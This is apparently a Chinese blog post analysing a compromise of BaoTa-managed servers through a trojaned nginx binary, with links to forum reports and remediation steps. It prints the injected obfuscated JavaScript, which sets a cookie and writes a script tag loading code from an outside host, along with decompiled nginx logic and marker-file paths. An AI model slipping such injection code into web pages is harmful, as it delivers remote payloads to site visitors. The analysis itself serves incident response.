事件经过
前几天在Hostloc论坛上看到的
https://hostloc.com/thread-1111691-1-1.html
宝塔上也有人反馈
https://www.bt.cn/bbs/thread-105054-1-1.html
https://www.bt.cn/bbs/thread-105085-1-1.html
宝塔官方公告
https://www.bt.cn/bbs/thread-105121-1-1.html
样本解析
查看病毒样本和被插入的JS代码
var _0x2551=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x6D\x65\x74\x61\x6D\x61\x72\x6B\x65\x74\x2E\x71\x75\x65\x73\x74\x2F\x6D\x61\x72\x6B\x65\x74\x2E\x6A\x73\x27\x25\x33\x45\x25\x33\x43\x2F\x73\x63\x72\x69\x70\x74\x25\x33\x45","\x77\x72\x69\x74\x65"];function setc(_0x7338x2,_0x7338x3,_0x7338x4){var _0x7338x5= new Date();_0x7338x5[_0x2551[1]](_0x7338x5[_0x2551[0]]()+ _0x7338x4);document[_0x2551[2]]= _0x7338x2+ _0x2551[3]+ _0x7338x3+ _0x2551[4]+ _0x7338x5[_0x2551[5]]()}setc(_0x2551[6],_0x2551[7],360);document[_0x2551[9]](unescape(_0x2551[8]));
var _0x2551 = ["getMinutes", "setMinutes", "cookie", "=", ";expires=", "toUTCString", "waf_sc", "5889647726", "%3Cscript src='https://www.metamarket.quest/market.js'%3E%3C/script%3E", "write"];
function setc(_0x7338x2, _0x7338x3, _0x7338x4) {
var _0x7338x5 = new Date();
_0x7338x5[_0x2551[1]](_0x7338x5[_0x2551[0]]() + _0x7338x4);
document[_0x2551[2]] = _0x7338x2 + _0x2551[3] + _0x7338x3 + _0x2551[4] + _0x7338x5[_0x2551[5]]();
}
setc(_0x2551[6], _0x2551[7], 360);
document[_0x2551[9]](unescape(_0x2551[8]));
在解码完这个JavaScript代码 我们可以看到关键词符 "Write"
和 "%3Cscript src='https://www.metamarket.quest/market.js'%3E%3C/script%3E"
(%3C和%3E是HTML编码 转过来则是<和>)
此代码直接利用 document.write
向页面插入script标签
<script src='https://www.metamarket.quest/market.js'></script>
排查分析
由于宝塔官方没有明确说明面板存在0day漏洞,目前只能转向分析Nginx样本了
我们把被替换过的nginx病毒样本拖到ida里面 然后F5反编译一下
定位到 __int64 __fastcall sub_4BE051
函数
然后我们会看到一段 waf_sc=5889647726
这里则对应我们上面分析JavaScript代码的值
我们分析一下以下代码
if ( a1[99] && a1[98] )
{
if ( ngx_strcasestrn(a2, "admin", 4LL)
|| ngx_strcasestrn(a2, "user", 3LL)
|| ngx_strcasestrn(a2, "manager", 6LL)
|| ngx_strcasestrn(a2, "api", 2LL)
|| ngx_strcasestrn(a2, "config", 5LL)
|| ngx_strcasestrn(a2, "login", 4LL)
|| ngx_strcasestrn(a2, 7689484LL, 3LL)
|| ngx_strcasestrn(a2, ".xml", 3LL)
|| ngx_strcasestrn(a2, ".css", 3LL) )
{
sprintf(v11, "return 3 url:%s method:%d", a2, a1[122]);
sub_4BDFE1(v11);
result = 3LL;
}
else
{
v9 = access("/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av", 0);
result = 6LL;
if ( v9 != -1 )
{
v10 = access("/var/tmp/systemd-private-56d86f7d8382402517f3b51625789161d2cb-chronyd.service-jP37av", 0) == -1;
result = 7LL;
if ( !v10 )
result = 0LL;
}
}
}
else
{
sub_4BDFE1("return 2");
result = 2LL;
}
从这里,我们就能很清楚的看到了, 「v9」和 「v10」这两个变量应该就对应了恶意代码,通过 access
方式读入文件,不过按照被感染后的代码逻辑,应该是先判断是否包含以下字符串,没有就输出恶意代码。
'admin' 'user' 'manager' 'api' 'config' 'login' '/var/tmp/msglog.txt' '.xml' '.css'
关于 「 ngx_strcasestrn
」函数的用法,大家在网上也能够搜得到。
补救措施
博主推荐以下的排查方式 如下
1.请手动排查一下 /tmp/
和 /var/tmp/
目录下有没有 systemd-private-56d86f7d8382402517f3b5-jP37av
这个文件,如果有请尽快删除掉 然后修改一下服务器密码和修改相关目录的权限
2.如果当前宝塔面板还在用的话,请修改面板端口以及加强一下面板安全性
3.开启 BasicAuth认证
和 动态口令认证或者访问设备验证
4.手动排查一下Nginx程序的MD5值是否对应
在ssh输入以下代码即可
md5sum /www/server/nginx/sbin/nginx
md5sum /www/backup/nginxBak
cat /www/server/panel/data/nginx_md5.pl
晴,你好强啊